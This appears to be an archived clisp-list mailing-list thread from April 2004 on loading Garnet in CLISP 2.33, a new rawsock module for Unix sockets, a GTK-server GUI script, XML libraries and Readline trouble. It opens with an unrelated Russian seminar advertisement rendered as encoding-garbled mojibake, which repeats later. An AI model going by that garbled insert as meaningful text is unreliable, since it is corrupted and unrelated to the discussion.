Ó Âàñ îòëè÷íàÿ êîìàíäà, íî ñîòðóäíèêè íå ãîðÿò æåëàíèåì ðàáîòàòü? Âñå ìîæíî èñïðàâèòü! Êàê
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íå òðåáóÿ áåñêîíå÷íûõ ïðèáàâîê ê çàðïëàòå? ×òîáû óñïåõ äåëà îíè ñ÷èòàëè ñâîèì ëè÷íûì
óñïåõîì? Êàê âäîõíîâèòü èõ íà íîâûå äîñòèæåíèÿ? 
Îáî âñåì ýòîì ïîéäåò ðå÷ü íà äâóõäíåâíîì ïðàêòè÷åñêîì ñåìèíàðå-òðåíèíãå:  «Ðàçðàáîòêà
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Ïðîãðàììà ñåìèíàðà-òðåíèíãà:
Ìîäóëü I. Êîíöåïöèè ìîòèâàöèè.
• Ìåõàíèçì ìîòèâàöèè.
• Êëàññè÷åñêèå è ñîâðåìåííûå ïîäõîäû ê ìîòèâàöèè: ðàçëè÷íûå ìîòèâàöèîííûå òåîðèè, èõ àíàëèç
è ãðàíèöû ïðèìåíåíèÿ. Ôàêòîðû äåìîòèâàöèè
•  Îòðàæåíèÿ ðàçëè÷íûõ òåîðèé â èìåþùåìñÿ îïûòå ó÷àñòíèêîâ ïðîãðàììû. 
Ìîäóëü II. Ïðèíöèïû òðóäîâîé ìîòèâàöèè.
1.Ìîòèâàöèÿ ïåðñîíàëà íà óðîâíå îðãàíèçàöèè.
• Ìîòèâàöèîííûå ñòðàòåãèè.
•Ñâÿçü ìîòèâàöèè ïåðñîíàëà ñ ñèñòåìîé îöåíêè è ïëàíèðîâàíèÿ ðàçâèòèÿ.
• Ìîäåëü ìîòèâàöèîííîé îöåíêè ïåðñîíàëà.
• Ïðèìåðû óäà÷íûõ è íåóäà÷íûõ ñèñòåì ìîòèâàöèè.
•  Ñèñòåìà ìàòåðèàëüíîãî è íåìàòåðèàëüíîãî ñòèìóëèðîâàíèÿ: îãðàíè÷åíèÿ è âîçìîæíîñòè.
• Êîðïîðàòèâíàÿ êóëüòóðà: êîðïîðàòèâíûå öåííîñòè è íîðìû êàê ôàêòîðû ìîòèâàöèè.
•Ñïåöèôèêà áîëüøèõ è ìàëûõ êîìïàíèé â îáëàñòè ìîòèâàöèè ïåðñîíàëà.
•  Ïàðàäîêñû ìîòèâàöèè.
2. Ìîòèâàöèÿ îòåëüíîãî ñîòðóäíèêà. «Ïîâñåäíåâíàÿ ìîòèâàöèÿ».
• Ñîçäàíèå ìîòèâèðóþùåé ðàáî÷åé ñðåäû.
•Ìîòèâàöèÿ ÷åðåç ïîñòàíîâêó çàäà÷ è îðãàíèçàöèþ ñèñòåìû îáðàòíîé ñâÿçè. 
Ìîäóëü III.  ×òî äåëàòü?
• Ìåòîäû îöåíêè àêòóàëüíîé ìîòèâàöèîííîé ñðåäû êîìïàíèè («×òî ñåé÷àñ ìîòèâèðóåò è
äåìîòèâèðóåò ìîèõ ñîòðóäíèêîâ»).
• Øàãè ïîñòðîåíèÿ ñèñòåìû ìîòèâàöèè.
• Ïðåìèè. Äîïëàòû. Áîíóñû. Ëüãîòû. Ñîöèàëüíûé ïàêåò: êîãäà è â êàêîì êîëè÷åñòâå.
• Îöåíêà ýôôåêòèâíîñòè ñèñòåìû ìîòèâàöèè îðãàíèçàöèè.
• Îòðàáîòêà ðàçëè÷íûõ ïîäõîäîâ íà ïðèìåðàõ ó÷àñòíèêîâ ïðîãðàììû.

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Is there a good explanation somewhere how to load and use garnet in 
clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1])
Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program) 
under suse 9 linux?
Got a lot of errors when I followed the directives of the Garnet docs.
Thanks
Andre



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> * Andre RENARD <n.eraneq@hyt.np.or> [2004-04-18 18:09:03 +0200]:
>
> Is there a good explanation somewhere how to load and use garnet in
> clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1])
> Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program)
> under suse 9 linux?

I have no problems with garnet.
what are your errors?

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I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in 
garnet-loader.lisp (I use the clx from the locale directory downloaded 
with garnet).

Loading garnet-prepare-compile -> ok

then

[2]> (load "garnet-loader")
;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ...
** - Continuable Error
RENAME-PACKAGE("COMMON-LISP"): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed

If I remove the lock with

(setf (EXT:PACKAGE-LOCK 'COMMON-LISP) nil)
(how risky is it? I am relatively new with lisp)

then

[5]> (load "garnet-loader")
;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ...
** Loading Garnet Version 3.0 from :EXTERNAL
...Loading Garnet ...

  %%%%%%% Loading CLX %%%%%%%%
;;  Loading file /home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ...
** - Continuable Error
FUNCTION: undefined function CLOSE-DOWN-MODE-SETTER
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION 
'CLOSE-DOWN-MODE-SETTER).
USE-VALUE      :R2      You may input a value to be used instead of 
(FDEFINITION 'CLOSE-DOWN-MODE-SETTER).

Break 1 XLIB[6]>

What do I do wrong?

Andre

Sam Steingold wrote:
>>* Andre RENARD <n.eraneq@hyt.np.or> [2004-04-18 18:09:03 +0200]:
>>
>>Is there a good explanation somewhere how to load and use garnet in
>>clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1])
>>Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program)
>>under suse 9 linux?
> 
> 
> I have no problems with garnet.
> what are your errors?
> 




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> * Andre RENARD <n.w.eraneq@fxlarg.or> [2004-04-19 02:22:10 +0200]:
>
> I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in
> garnet-loader.lisp (I use the clx from the locale directory downloaded
> with garnet).

you should not set Your-CLX-Pathname, instead run the full image which
already contains CLX.

> [2]> (load "garnet-loader")
> ;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ...
> ** - Continuable Error
> RENAME-PACKAGE("COMMON-LISP"): #<PACKAGE COMMON-LISP> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed

this is a bug in garnet: they have "(defpackage :COMMON-LISP)" which is
illegal in ANSI CL.
they should have
#-:ansi-cl
in front of it (instead they have #+(or ....) for some implementations,
and this list should include CLISP).

>   %%%%%%% Loading CLX %%%%%%%%
> ;;  Loading file
> /home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ...
this would not happen if you run the full image.


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Worked. (by the way, for others start the full image with clisp -K 
full). But I am still facing an error:

;;   Loading file 
/home/andre/clisp-library/garnetx/src/gilt/gilt-functions-loader.lisp ...
;;   Loaded file 
/home/andre/clisp-library/garnetx/src/gilt/gilt-functions-loader.lisp
*** - LOAD: A file with name 
/home/andre/clisp-library/garnetx/bin/lapidary/constraint-gadget-loader 
does not exist

Where is the mistake in the garnet-loader file?

Andre

Sam Steingold wrote:
>>* Andre RENARD <n.w.eraneq@fxlarg.or> [2004-04-19 02:22:10 +0200]:
>>
>>I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in
>>garnet-loader.lisp (I use the clx from the locale directory downloaded
>>with garnet).
> 
> 
> you should not set Your-CLX-Pathname, instead run the full image which
> already contains CLX.
> 
> 
>>[2]> (load "garnet-loader")
>>;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ...
>>** - Continuable Error
>>RENAME-PACKAGE("COMMON-LISP"): #<PACKAGE COMMON-LISP> is locked
>>If you continue (by typing 'continue'): Ignore the lock and proceed
> 
> 
> this is a bug in garnet: they have "(defpackage :COMMON-LISP)" which is
> illegal in ANSI CL.
> they should have
> #-:ansi-cl
> in front of it (instead they have #+(or ....) for some implementations,
> and this list should include CLISP).
> 
> 
>>  %%%%%%% Loading CLX %%%%%%%%
>>;;  Loading file
>>/home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ...
> 
> this would not happen if you run the full image.
> 
> 




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Ó Âàñ îòëè÷íàÿ êîìàíäà, íî ñîòðóäíèêè íå ãîðÿò æåëàíèåì ðàáîòàòü? Âñå ìîæíî èñïðàâèòü! Êàê
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Date: Mon Apr 19 09:11:06 2004
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I just fixed the garnet cvs on SF.
it now works for me OOTB.
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Date: Mon Apr 19 09:40:27 2004
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> * Steven E. Harris <fru@cnavk.pbz> [2004-03-12 10:47:47 -0800]:
>
> ,----[ "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])" ]
> | [1]> (with-standard-io-syntax
> |          (let ((*print-pretty* t))
> |            (pprint-linear nil (list 'a 'b 'c))))
> | 
> | *** -  PRINT: the value of  SYSTEM::*PRINT-CIRCLE-TABLE* has been arbitrarily altered
> | *** - UNIX error  13. (EACCES): Permission denied
> | Break  1. [ 2]>
> `----

Thanks - this has been fixed in the CVS.
Unfortunately, it was too late to include the fix in 2.33,
but it will be available in 2.34.


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Date: Mon Apr 19 10:16:04 2004
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Sam Steingold <sds@gnu.org> writes:

> Thanks - this has been fixed in the CVS.

Great. I thought this report had been overlooked, or that I was just
doing something unspeakably wrong.

> Unfortunately, it was too late to include the fix in 2.33, but it
> will be available in 2.34.

No problem. Whenever 2.34 arrives, it will be soon enough.

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Date: Mon Apr 19 10:24:12 2004
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Hi Sam,

Thanks for getting back to me.  I thought I had been
forgotten.

I'll check the libraries like you say.  Thanks.

Just curious: What do "burivuh" and "loiso" mean?

gene


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   Hi Gene,

   Unfortunately, I cannot help here - it might not even be a CLISP issue.

   I have two computers at home, both running FC1.
   One of them (burivuh) is an old (5 years) and slow laptop, and it has no
   problem building both Emacs and CLISP (although it takes quite some time!)
   The CLISP RPMs distributed on SF are built on burivuh.
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   until the recent HD failure, it could not build either CLISP (crashing
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   My guess is that some libraries on loiso are corrupt due to disk errors.

   You might be having a similar problem.
   Is there a way to check that all software installed on FC is not
   corrupt?

   > * Gene Michael Stover <tzf@hxngb.serrfuryy.bet> [2004-04-01 19:52:51 +0000]:
   >
   >   <http://lisp-p.org/clb/go>

   ./configure --build
   already calls makemake, make, and make check.

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> * Gene Michael Stover <tzf@zk.serrfuryy.bet> [2004-04-19 17:22:41 +0000]:
>
> Just curious: What do "burivuh" and "loiso" mean?

In Max Frei's (Russian Fantasy) world of Eho, Burivuhs are intelligent
talking birds with excellent memory employed as databases.
Loiso Pondohva is the Founder and Grand Master of the Water Crow Order.

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Sam,

I downloaded the cvs files. Modified the garnet-loader file 
[YOUR-GARNET-PATHNAME and (defvar Garnet-Src-Pathname
   (append-directory  Your-Garnet-Pathname "src"))] and ran the 
makefile. But unfortunately, I still got stuck at:

Wrote file /home/andre/garnet/bin/gadgets/option-button.fas
0 errors, 0 warnings
Loading #P"/home/andre/garnet/bin/gadgets/option-button"
Compiling #P"/home/andre/garnet/src/gadgets/popup-menu-button.lisp"
for output to #P"/home/andre/garnet/bin/gadgets/popup-menu-button.fas"

Compiling file /home/andre/garnet/src/gadgets/popup-menu-button.lisp 
...Object LINES-BITMAP
Object DOWNARROW-BITMAP
Object POPUP-MENU-BUTTON
Object POPUPBUTTONMENUPROTO


Wrote file /home/andre/garnet/bin/gadgets/popup-menu-button.fas
0 errors, 0 warnings
Loading #P"/home/andre/garnet/bin/gadgets/popup-menu-button"

*** - nonexistent directory: #P"/home/andre/garnet/src/bitmaps/"

And indeed this directory is not in the cvs. How do you solve this 
problem on your machine?

Andre

Sam Steingold wrote:
> I just fixed the garnet cvs on SF.
> it now works for me OOTB.




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Hi Gene,

Unfortunately, I cannot help here - it might not even be a CLISP issue.

I have two computers at home, both running FC1.
One of them (burivuh) is an old (5 years) and slow laptop, and it has no
problem building both Emacs and CLISP (although it takes quite some time!)
The CLISP RPMs distributed on SF are built on burivuh.
The other (loiso) is a relatively new (2 year old) Athlon desktop, and,
until the recent HD failure, it could not build either CLISP (crashing
on the first GC) or Emacs (crashing on memory dump).
My guess is that some libraries on loiso are corrupt due to disk errors.

You might be having a similar problem.
Is there a way to check that all software installed on FC is not
corrupt?

> * Gene Michael Stover <tzf@hxngb.serrfuryy.bet> [2004-04-01 19:52:51 +0000]:
>
>   <http://lisp-p.org/clb/go>

./configure --build
already calls makemake, make, and make check.

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Hello,

Is it possible create and bind a pathname to a Unix domain socket with
clisp? If so, how?

Thank you,
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> * Richard M Kreuter <xerhgre@naqhevy.ehgtref.rqh> [2004-04-20 17:57:25 -0400]:
>
> Is it possible create and bind a pathname to a Unix domain socket with
> clisp? If so, how?

1. Don Cohen is working on a "raw-sock" module which should offer full
   socket access from CLISP.

2. This has been discussed on clisp-devel, go to clisp.cons.org and
   search the mailing list for "unix sockets" or "udp sockets"
   (the search is available on the front page, use either gmane or SF)

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 Sam Steingold <sds@gnu.org> wrote:
 1. Don Cohen is working on a "raw-sock" module which should offer full
   socket access from CLISP.

Truth in advertising: it's on the queue, I'm *trying* to find time
to work on it, but consistently failing.  Updates to my clocc server
code are on that same queue. 

Anyone else who wants to try this has my blessing and encouragement.
The (old) code was posted, so you're in as good a position to do it as
I am.  Better if you have any experience with modules, and much better
if you have time to do it.


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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-04-20 16:51:34 -0700]:
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> The (old) code was posted, so you're in as good a position to do it as
> I am.

Clarification: this module is supposed to contain some code from Don
and some code from Fred (any relationship to Don?)
Both were ported to clisp-devel in separate message.

Don, did you even start the project?
When I say "start", I mean, do you have a _directory_ with all the
files, yours and Fred's?
If you do have such a directory, could you please zip it up and make it
available for download from the web?
Thanks.



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 > Clarification: this module is supposed to contain some code from Don
 > and some code from Fred (any relationship to Don?)
(brothers)

 > Both were ported to clisp-devel in separate message.
 > 
 > Don, did you even start the project?
 > When I say "start", I mean, do you have a _directory_ with all the
 > files, yours and Fred's?
 > If you do have such a directory, could you please zip it up and make it
 > available for download from the web?
I started to try to make it work in 2.32.
I had earlier made it work in the pre 2.31 cvs where large files and
write-byte-sequence no-hang support were added.
I gather that what you really want is something different, adding a
new module directory to current cvs.  I have not started on that.
My impression (at least hope) is that anyone who already knows how to
do that will  find the task relatively straight forward starting from
the code that was sent earlier.  

Fred Cohen asks me to forward:

 > Sorry about the inconvenience of sending to you instead of the list -
 > but the counterspam thing on the list bounced my message. 
 > 
 > FC
 ...
 > To the extent I can I would be happy to help, however, I don't want to
 > keep chasing the ever-changing clisp specs for foreign stuff.  Where shall
 > I send a gz file?

I believe the file he would send would be more or less what was posted
earlier (that message was also rejected and eventually forwarded
through me, as I recall).  

BTW, I also believe that the code as it stands now would not support
unix sockets.  So whoever makes a real clisp module out of it might
want to add that.


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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-04-21 09:07:40 -0700]:
>
>  > Both were ported to clisp-devel in separate message.
>  > 
>  > Don, did you even start the project?
>  > When I say "start", I mean, do you have a _directory_ with all the
>  > files, yours and Fred's?
>  > If you do have such a directory, could you please zip it up and make it
>  > available for download from the web?
>
> I gather that what you really want is something different, adding a
> new module directory to current cvs.  I have not started on that.
> My impression (at least hope) is that anyone who already knows how to
> do that will  find the task relatively straight forward starting from
> the code that was sent earlier.

I don't think I got my message through.
Let me try to repeat and be blunt.
Please do not get offended,
I have nothing but respect and appreciation for you and Fred.
The following is just _my_ personal modus operandi,
and I understand that not everyone agrees with me.

-------------
Code and patches which are longer than 1 computer screen
(~60 lines) should never be sent to CLISP mailing lists,
send the URL instead and I will certainly click on it.
(Exception: auto-generated CVS commit notes).
(MIME mail is never accepted in CLISP mailing lists either).

Ergo: _I_ did _NOT_ see the code you and Fred sent to this list. Sorry.
Saying "just get the code from the mailing list archives" will not work.
-------------

Now, let me repeat again: please send to this list the URL of the tgz
or zip of all your files you want in the module.
I will put it under the CVS and add the necessary infrastructure.
Then you - or anyone else - will be able to work on this using the CVS.

Thanks.

> Fred Cohen asks me to forward:
>  > To the extent I can I would be happy to help, however, I don't want
>  > to keep chasing the ever-changing clisp specs for foreign stuff.

I did not realize that the foreign specs kept changing...

>  > Where shall I send a gz file?

you send the URL to the mailing list as a part of the plain text
(non-MIME) message.

> BTW, I also believe that the code as it stands now would not support
> unix sockets.  So whoever makes a real clisp module out of it might
> want to add that.

that's OK.  we need a start.

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Sam Steingold writes:
 > Now, let me repeat again: please send to this list the URL of the tgz
 > or zip of all your files you want in the module.
Fred's original message, containing the code is now at
http://isis.cs3-inc.com/raw-fc
This is not a zip but it's not long and easy enough to extract.  
The files are separated by their names.  Find these lines:
call-rawsock.lsp
 ... 25 lines
rawsock.c:
 ... 123 lines
Maker:
 ... 15 lines
thingstofix:
 ... 11 lines
 > I will put it under the CVS and add the necessary infrastructure.
 > Then you - or anyone else - will be able to work on this using the CVS.
ok, that's a start.

 > I did not realize that the foreign specs kept changing...
What I do know is that what he had working c. 2.26 did not work in
2.31 and after I managed to change it to work in 2.31, the result no 
longer works in 2.32.
I think the code at url above is the 2.26 version.




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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-04-21 11:00:40 -0700]:
>
> http://isis.cs3-inc.com/raw-fc

ok, this thing is now in the CVS.
$ ./configure --with-module=rawsock --build build-rawsock
please send small patches to clisp-devel (appended to the message,
accompanied by a ChangeLog entry, note that you must be subscribed)
or send the patch URL.
If you plan on doing more than a couple of small patches,
I will be happy to give you CVS write access.

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Hello,

I just ported a script that enables clisp to work with a gui server
(gtk-server). The architecture is a bit clumsy but it works. Perhaps =
anyone
is interested in gui programming with clisp.

Regards

J=F6rg Kalsbach

Please don' t write to this mails adress but to:

j.kalsbach@mlsystems.de

;;start of file
;;
;; Demonstration on how to use the GTK-server with clisp
;; Tested with clisp-2.33 on WinXP
;; Requirements: gtk-server installion in this scripts' directory
;; http://www.turtle.dds.nl/gtk-server/
;; April 22, 2004 by J=F6rg Kalsbach ported from:
;;
;; Demonstration on how to use the GTK-server with NEWLISP by FIFO.
;; Tested with newLISP 7.5.12 on Slackware Linux 9.1.
;;
;; March 28, 2004 by Peter van Eerten.
;;
;;------------------------------------------------

;; Start the gtk-server
(ext:run-program "gtk-server" :arguments '("localhost:50000") :wait =
nil)

;; Define communication function
(defun gtk (str)
  (princ str socket)
  (read-line socket))


;; Wait a little so the server can initialize
(sleep 1)

;; get a communication channel
(defconstant socket (socket:socket-connect 50000))

;; Design the GUI
(gtk "gtk_init(NULL, NULL)")
(set 'win (gtk "gtk_window_new(0)"))
(gtk (concatenate 'string "gtk_window_set_title (" win ", This is a
title)"))
(gtk (concatenate 'string "gtk_window_set_default_size (" win ", 100,
100)"))
(gtk (concatenate 'string "gtk_window_set_position (" win ", 1 )"))
(set 'table (gtk "gtk_table_new(30, 30, 1 )"))
(gtk (concatenate 'string "gtk_container_add (" win "," table ")"))
(set 'button1 (gtk "gtk_button_new_with_label (Exit)"))
(gtk (concatenate 'string "gtk_table_attach_defaults(" table ", " =
button1 ",
17, 28, 20, 25)"))
(set 'button2 (gtk "gtk_button_new_with_label (Print text)"))
(gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " =
button2
", 2, 13, 20, 25)"))
(set 'entry (gtk "gtk_entry_new()"))
(gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " =
entry ",
2, 28, 5, 15)"))
(gtk (concatenate 'string "gtk_widget_show_all(" win ")"))

;; This is the mainloop
(do ((event1 "0"(set 'event1 (gtk (concatenate 'string
"gtk_server_callback(" button1 ")"))))=20
     (event2 "0" (set 'event2 (gtk (concatenate 'string
"gtk_server_callback(" win ")")))))
    ((not (and (=3D (parse-integer event1) 0) (=3D (parse-integer =
event2) 0))))
    (gtk "gtk_main_iteration()")
    (set 'tmp (gtk (concatenate 'string "gtk_server_callback(" button2
")")))
    (if (> (parse-integer tmp) 0)
	(progn
	  (set 'tmp (gtk (concatenate 'string "gtk_entry_get_text(" entry
")")))
	  (print (concatenate 'string "This is the contents: " tmp))))
    )

;; Exit GTK explicitly only with a write
(princ "gtk_exit(0)" socket)
;;end of file


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> * Kalsbach, J=C3=B6rg, fiscus GmbH, Bonn <W.Xnyfonpu@svfphf.vasb> [2004-0=
4-22 13:13:26 +0200]:
>
> I just ported a script that enables clisp to work with a gui server
> (gtk-server). The architecture is a bit clumsy but it works.

Thanks, I will add a reference to the CLISP FAQ!

some stylistic notes to make your code more like Common Lisp:

1.  define SOCKET before GTK to avoid compiler warning, define it with
    DEFVAR or DEFPARAMETER and name it with stars: *SOCKET*

2.  use SETQ instead of SET:
        (setq win (gtk "gtk_window_new(0)"))

3.  replace (if ... (progn ...)) with (when ... ...)

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> * Richard M Kreuter <xerhgre@naqhevy.ehgtref.rqh> [2004-04-20 17:57:25 -0400]:
>
> Is it possible create and bind a pathname to a Unix domain socket with
> clisp? If so, how?

check out CVS head (see SF for instructions)
$ ./configure --with-module=rawsock --build build-rawsock
$ ./build-rawsock/clisp -K full
> (rawsock:open-unix-socket "/tmp/.X11-unix/X0")
3


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Date: Thu Apr 22 22:16:06 2004
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hi all
i have some problem related to file format...
is any body know the XML and lisp talk....
is there any package in lisp which use to read and write xml file or
maintain xml files...
actually i am working with chemistry related things...so i have xml file
which i have to parse and give input to my system...so i need xml
package for clisp.

-anil

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>    1. A GUI for clisp (=?iso-8859-1?Q?=22Kalsbach=2C_J=F6rg=2C_fiscus_GmbH=2C_Bonn=22?=)
>    2. Re: A GUI for clisp (Sam Steingold)
>    3. Re: binding to Unix domain sockets (Sam Steingold)
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> --__--__--
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> Message: 1
> From: =?iso-8859-1?Q?=22Kalsbach=2C_J=F6rg=2C_fiscus_GmbH=2C_Bonn=22?=
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> Date: Thu, 22 Apr 2004 13:13:26 +0200
> Subject: [clisp-list] A GUI for clisp
> 
> Hello,
> 
> I just ported a script that enables clisp to work with a gui server
> (gtk-server). The architecture is a bit clumsy but it works. Perhaps =
> anyone
> is interested in gui programming with clisp.
> 
> Regards
> 
> J=F6rg Kalsbach
> 
> Please don' t write to this mails adress but to:
> 
> j.kalsbach@mlsystems.de
> 
> ;;start of file
> ;;
> ;; Demonstration on how to use the GTK-server with clisp
> ;; Tested with clisp-2.33 on WinXP
> ;; Requirements: gtk-server installion in this scripts' directory
> ;; http://www.turtle.dds.nl/gtk-server/
> ;; April 22, 2004 by J=F6rg Kalsbach ported from:
> ;;
> ;; Demonstration on how to use the GTK-server with NEWLISP by FIFO.
> ;; Tested with newLISP 7.5.12 on Slackware Linux 9.1.
> ;;
> ;; March 28, 2004 by Peter van Eerten.
> ;;
> ;;------------------------------------------------
> 
> ;; Start the gtk-server
> (ext:run-program "gtk-server" :arguments '("localhost:50000") :wait =
> nil)
> 
> ;; Define communication function
> (defun gtk (str)
>   (princ str socket)
>   (read-line socket))
> 
> 
> ;; Wait a little so the server can initialize
> (sleep 1)
> 
> ;; get a communication channel
> (defconstant socket (socket:socket-connect 50000))
> 
> ;; Design the GUI
> (gtk "gtk_init(NULL, NULL)")
> (set 'win (gtk "gtk_window_new(0)"))
> (gtk (concatenate 'string "gtk_window_set_title (" win ", This is a
> title)"))
> (gtk (concatenate 'string "gtk_window_set_default_size (" win ", 100,
> 100)"))
> (gtk (concatenate 'string "gtk_window_set_position (" win ", 1 )"))
> (set 'table (gtk "gtk_table_new(30, 30, 1 )"))
> (gtk (concatenate 'string "gtk_container_add (" win "," table ")"))
> (set 'button1 (gtk "gtk_button_new_with_label (Exit)"))
> (gtk (concatenate 'string "gtk_table_attach_defaults(" table ", " =
> button1 ",
> 17, 28, 20, 25)"))
> (set 'button2 (gtk "gtk_button_new_with_label (Print text)"))
> (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " =
> button2
> ", 2, 13, 20, 25)"))
> (set 'entry (gtk "gtk_entry_new()"))
> (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " =
> entry ",
> 2, 28, 5, 15)"))
> (gtk (concatenate 'string "gtk_widget_show_all(" win ")"))
> 
> ;; This is the mainloop
> (do ((event1 "0"(set 'event1 (gtk (concatenate 'string
> "gtk_server_callback(" button1 ")"))))=20
>      (event2 "0" (set 'event2 (gtk (concatenate 'string
> "gtk_server_callback(" win ")")))))
>     ((not (and (=3D (parse-integer event1) 0) (=3D (parse-integer =
> event2) 0))))
>     (gtk "gtk_main_iteration()")
>     (set 'tmp (gtk (concatenate 'string "gtk_server_callback(" button2
> ")")))
>     (if (> (parse-integer tmp) 0)
> 	(progn
> 	  (set 'tmp (gtk (concatenate 'string "gtk_entry_get_text(" entry
> ")")))
> 	  (print (concatenate 'string "This is the contents: " tmp))))
>     )
> 
> ;; Exit GTK explicitly only with a write
> (princ "gtk_exit(0)" socket)
> ;;end of file
> 
> 
> --__--__--
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> To: clisp-list@lists.sourceforge.net,
>         =?utf-8?q?Kalsbach=2C_J=C3=B6rg=2C_fiscus_GmbH=2C_Bonn?=
>  <J.Kalsbach@fiscus.info>
> Reply-to: clisp-list@lists.sourceforge.net
> From: Sam Steingold <sds@gnu.org>
> Date: Thu, 22 Apr 2004 10:06:20 -0400
> Subject: [clisp-list] Re: A GUI for clisp
> 
> > * Kalsbach, J=C3=B6rg, fiscus GmbH, Bonn <W.Xnyfonpu@svfphf.vasb> [2004-0=
> 4-22 13:13:26 +0200]:
> >
> > I just ported a script that enables clisp to work with a gui server
> > (gtk-server). The architecture is a bit clumsy but it works.
> 
> Thanks, I will add a reference to the CLISP FAQ!
> 
> some stylistic notes to make your code more like Common Lisp:
> 
> 1.  define SOCKET before GTK to avoid compiler warning, define it with
>     DEFVAR or DEFPARAMETER and name it with stars: *SOCKET*
> 
> 2.  use SETQ instead of SET:
>         (setq win (gtk "gtk_window_new(0)"))
> 
> 3.  replace (if ... (progn ...)) with (when ... ...)
> 
> --=20
> Sam Steingold (http://www.podval.org/~sds) running w2k
> <http://www.camera.org> <http://www.iris.org.il> <http://www.memri.org/>
> <http://www.mideasttruth.com/> <http://www.honestreporting.com>
> If you think big enough, you'll never have to do it.
> 
> 
> --__--__--
> 
> Message: 3
> To: clisp-list@lists.sourceforge.net,
>         Richard M Kreuter
>  <kreuter@anduril.rutgers.edu>
> Reply-to: clisp-list@lists.sourceforge.net
> From: Sam Steingold <sds@gnu.org>
> Date: Thu, 22 Apr 2004 20:42:03 -0400
> Subject: [clisp-list] Re: binding to Unix domain sockets
> 
> > * Richard M Kreuter <xerhgre@naqhevy.ehgtref.rqh> [2004-04-20 17:57:25 -0400]:
> >
> > Is it possible create and bind a pathname to a Unix domain socket with
> > clisp? If so, how?
> 
> check out CVS head (see SF for instructions)
> $ ./configure --with-module=rawsock --build build-rawsock
> $ ./build-rawsock/clisp -K full
> > (rawsock:open-unix-socket "/tmp/.X11-unix/X0")
> 3
> 


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> * Anil Sorathiya <navy.fbenguvln@fpvabinvaqvn.pbz> [2004-04-23 10:47:43 +0500]:
> i have some problem related to file format...
> is any body know the XML and lisp talk....
> is there any package in lisp which use to read and write xml file or
> maintain xml files...
> actually i am working with chemistry related things...so i have xml file
> which i have to parse and give input to my system...so i need xml
> package for clisp.

I recommend CLOCC/CLLIB/xml.lisp (I wrote and use it).
see also <http://www.cliki.net/XML>

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Hello -

How do I uninstall Clisp from Windows 98?

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I'm not sure if this is an old issue or not, but GNU Readline does not
work in CLisp 2.33. It does, however, work fine for me in 2.32. I was
wondering if anyone could enlighten me concerning this strange
occurrence.



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> * Daniel Zollinger <qm@rkdhver.bet> [2004-04-27 04:46:49 -0700]:
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> I'm not sure if this is an old issue or not, but GNU Readline does not
> work in CLisp 2.33. It does, however, work fine for me in 2.32. I was
> wondering if anyone could enlighten me concerning this strange
> occurrence.

WFM.  more information is needed.
<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>

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On closer inspection, it looks like th 2.33 version, downloaded from
Sourceforge, must be inappropriate for my system. The 2.32 version i am
using, that works, is from ATrpms, in germany. In any case, i'm happy to
continue using 2.32. I'd just like to say thank you to the CLisp
development team, for their great work.

  dz

ps: extra detail on the packages and system are provided below, if
anyone's interested

result of :"uname -a":
Linux linux 2.4.21-202-default #1 Fri Apr 2 21:31:38 UTC 2004 i686 i686
i386 GNU/Linux


result of "clisp --version" for current setup (2.32):
GNU CLISP 2.32 (2003-12-29) (built on heretic.physik.fu-berlin.de
[160.45.32.86])
Software: GNU C 3.2.2 20030222 (Red Hat Linux 3.2.2-5) ANSI C program
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
BASE-CHAR=CHARACTER
 PC386 UNIX)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686(I686)linux.local [127.0.0.2]


result of "clisp --version" for previous setup (2.33):
GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1])
Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
BASE-CHAR=CHARACTER
 PC386 UNIX)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) linux.local [127.0.0.2]





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I get the following error during compilation of clisp-2.31-1. Please repl=
y to
this email address as well since I am not subscribed to the list.

My system is a HP Linux box running Fedore Core 1.0.

-Ruhan

* * * * *


[root@localhost with-gcc-wall]# make interpreted.mem
=2E/lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW =
-x
"(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
